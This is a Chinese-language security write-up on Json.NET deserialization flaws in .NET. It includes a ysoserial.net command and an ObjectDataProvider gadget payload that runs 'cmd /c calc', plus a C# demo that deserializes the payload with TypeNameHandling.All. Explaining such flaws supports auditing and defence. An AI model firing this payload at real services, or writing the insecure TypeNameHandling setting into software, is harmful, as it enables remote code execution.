.Net审计之.Net Json反序列化

前言

偶然下遇到一个.NET 下有意思的Json反序列化点，记录一下反序列化内容，直入主题。

.Net Json

常见序列化与反序列化

NET 中常见的数据格式以及序列化方法

官方文档：https://www.newtonsoft.com/json

序列化

namespace ConsoleApp1{class Program{static void Main(string[] args){Person person = new Person();person.name = "nice0e3";person.age = 22;string json = JsonConvert.SerializeObject(person);Console.WriteLine(json);Console.ReadLine();}public class Person{public string name;public int age;static string i;}}}//结果：{"name":"nice0e3","age":22}

里面的i成员变量并没有被序列化进来，因为该成员变量是静态的，静态修饰的并不参与在实例化对象中，所以不会被序列化进来。

反序列化

string json = "{\\"name\\":\\"nice0e3\\",\\"age\\":22} ";object v = JsonConvert.DeserializeObject(json);Console.WriteLine(v);Console.ReadLine();//结果：{"name": "nice0e3","age": 22}

反序列化攻击

JsonConvert.DeserializeObject

第一个参数需要被序列化的字符串、第二个参数设置序列化配置选项来指定JsonSerializer按照指定的类型名称处理，其中

TypeNameHandling

可选择的成员分为五种

默认情况下

TypeNameHandling

为None,表示Json.NET在反序列化期间不读取或写入类型名称。会使传递就去类名无法进行读取和写入，即不可触发漏洞。

只有当 TypeNameHandling 不为 None 时，传入的 Json 字符串中所附带类型名称才能被读取写入。这样才能触发反序列化漏洞。

设置为非空值、也就是对象（Objects） 、数组（Arrays） 、自动识别 (Auto) 、所有值(ALL) 的时候都会造成反序列化漏洞

ysoserial.net:https://github.com/pwntester/ysoserial.net

yso生成数据：

/ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t

{\'$type\':\'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\',\'MethodName\':\'Start\',\'MethodParameters\':{\'$type\':\'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\',\'$values\':[\'cmd\', \'/c calc\']},\'ObjectInstance\':{\'$type\':\'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\'}

   static void Main(string[] args){string json = @"{\'$type\':\'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\',\'MethodName\':\'Start\',\'MethodParameters\':{\'$type\':\'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\',\'$values\':[\'cmd\', \'/c calc\']},\'ObjectInstance\':{\'$type\':\'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\'}}";Object js = JsonConvert.DeserializeObject(json, new JsonSerializerSettings{TypeNameHandling = TypeNameHandling.All});Console.WriteLine(js);Console.ReadKey();

参考

https://www.websecuritys.cn/archives/netxlh-1.html

https://ivan1ee.gitbook.io/-netdeserialize/fan-xu-lie-hua-lou-dong-xi-lie/121